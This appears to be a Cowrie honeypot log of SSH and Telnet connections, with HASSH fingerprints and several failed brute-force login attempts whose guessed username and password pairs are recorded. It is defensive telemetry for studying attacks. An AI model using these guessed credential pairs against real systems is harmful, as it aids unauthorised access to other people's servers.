{"eventid":"cowrie.session.closed","duration":120.00134468078613,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:18:12.454405Z","src_ip":"45.186.135.53","session":"9e45682f1044","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.223.91.130","src_port":50362,"dst_ip":"10.17.0.5","dst_port":22,"session":"51eac8f83d56","protocol":"ssh","message":"New connection: 162.223.91.130:50362 (10.17.0.5:22) [session: 51eac8f83d56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:18:14.534589Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:18:14.538930Z","src_ip":"162.223.91.130","session":"51eac8f83d56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:18:14.557539Z","src_ip":"162.223.91.130","session":"51eac8f83d56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123ewqasdcxz","message":"login attempt [ubuntu/123ewqasdcxz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:18:14.665270Z","src_ip":"162.223.91.130","session":"51eac8f83d56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:18:15.689582Z","src_ip":"162.223.91.130","session":"51eac8f83d56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.7.113.83","src_port":46656,"dst_ip":"159.203.135.109","dst_port":22,"session":"e27b509fd6f3","protocol":"ssh","message":"New connection: 157.7.113.83:46656 (159.203.135.109:22) [session: e27b509fd6f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:18:31.663248Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:18:31.672810Z","src_ip":"157.7.113.83","session":"e27b509fd6f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:18:31.829106Z","src_ip":"157.7.113.83","session":"e27b509fd6f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"qweasdzxc","message":"login attempt [test/qweasdzxc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:18:32.462640Z","src_ip":"157.7.113.83","session":"e27b509fd6f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:18:33.633139Z","src_ip":"157.7.113.83","session":"e27b509fd6f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":35140,"dst_ip":"159.203.135.109","dst_port":22,"session":"340ac09d8a02","protocol":"ssh","message":"New connection: 159.203.92.129:35140 (159.203.135.109:22) [session: 340ac09d8a02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:18:39.241945Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:18:39.247349Z","src_ip":"159.203.92.129","session":"340ac09d8a02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:18:39.252408Z","src_ip":"159.203.92.129","session":"340ac09d8a02","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"web123","message":"login attempt [ansible/web123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:18:39.322005Z","src_ip":"159.203.92.129","session":"340ac09d8a02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:18:40.327992Z","src_ip":"159.203.92.129","session":"340ac09d8a02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.68.62.5","src_port":53330,"dst_ip":"159.203.135.109","dst_port":23,"session":"6c43cf78da87","protocol":"telnet","message":"New connection: 41.68.62.5:53330 (159.203.135.109:23) [session: 6c43cf78da87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:18:40.625978Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.162.19","src_port":44223,"dst_ip":"159.203.135.109","dst_port":22,"session":"12ed70deca70","protocol":"ssh","message":"New connection: 81.30.162.19:44223 (159.203.135.109:22) [session: 12ed70deca70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:18:46.952842Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:18:46.956105Z","src_ip":"81.30.162.19","session":"12ed70deca70","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:18:47.071875Z","src_ip":"81.30.162.19","session":"12ed70deca70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"proxmox","message":"login attempt [root/proxmox] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:18:47.568338Z","src_ip":"81.30.162.19","session":"12ed70deca70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:18:48.687295Z","src_ip":"81.30.162.19","session":"12ed70deca70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.223.91.130","src_port":37022,"dst_ip":"10.17.0.5","dst_port":22,"session":"511a452d87f3","protocol":"ssh","message":"New connection: 162.223.91.130:37022 (10.17.0.5:22) [session: 511a452d87f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:18:51.272516Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:18:51.276708Z","src_ip":"162.223.91.130","session":"511a452d87f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:18:51.295975Z","src_ip":"162.223.91.130","session":"511a452d87f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"qwerty123456","message":"login attempt [admin/qwerty123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:18:51.401474Z","src_ip":"162.223.91.130","session":"511a452d87f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:18:52.422938Z","src_ip":"162.223.91.130","session":"511a452d87f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":49680,"dst_ip":"159.203.135.109","dst_port":22,"session":"cc5f1839559c","protocol":"ssh","message":"New connection: 159.203.92.129:49680 (159.203.135.109:22) [session: cc5f1839559c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:19:23.880472Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:19:23.885880Z","src_ip":"159.203.92.129","session":"cc5f1839559c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:19:23.892780Z","src_ip":"159.203.92.129","session":"cc5f1839559c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"weblogic","message":"login attempt [ansible/weblogic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:19:23.904044Z","src_ip":"159.203.92.129","session":"cc5f1839559c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:19:24.910492Z","src_ip":"159.203.92.129","session":"cc5f1839559c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.223.91.130","src_port":51914,"dst_ip":"10.17.0.5","dst_port":22,"session":"83d28635ea84","protocol":"ssh","message":"New connection: 162.223.91.130:51914 (10.17.0.5:22) [session: 83d28635ea84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:19:28.240019Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:19:28.244306Z","src_ip":"162.223.91.130","session":"83d28635ea84","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:19:28.262520Z","src_ip":"162.223.91.130","session":"83d28635ea84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"asdlkj","message":"login attempt [user/asdlkj] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:19:28.369429Z","src_ip":"162.223.91.130","session":"83d28635ea84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:19:29.388879Z","src_ip":"162.223.91.130","session":"83d28635ea84","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.160.26.195","src_port":50044,"dst_ip":"10.17.0.5","dst_port":23,"session":"576f804a44a0","protocol":"telnet","message":"New connection: 103.160.26.195:50044 (10.17.0.5:23) [session: 576f804a44a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:19:35.876629Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.162.19","src_port":52796,"dst_ip":"159.203.135.109","dst_port":22,"session":"9853f5ea761f","protocol":"ssh","message":"New connection: 81.30.162.19:52796 (159.203.135.109:22) [session: 9853f5ea761f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:19:39.679468Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:19:39.684686Z","src_ip":"81.30.162.19","session":"9853f5ea761f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:19:39.805760Z","src_ip":"81.30.162.19","session":"9853f5ea761f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qq100200","message":"login attempt [root/qq100200] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:19:40.322677Z","src_ip":"81.30.162.19","session":"9853f5ea761f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:19:41.447081Z","src_ip":"81.30.162.19","session":"9853f5ea761f","protocol":"ssh"}
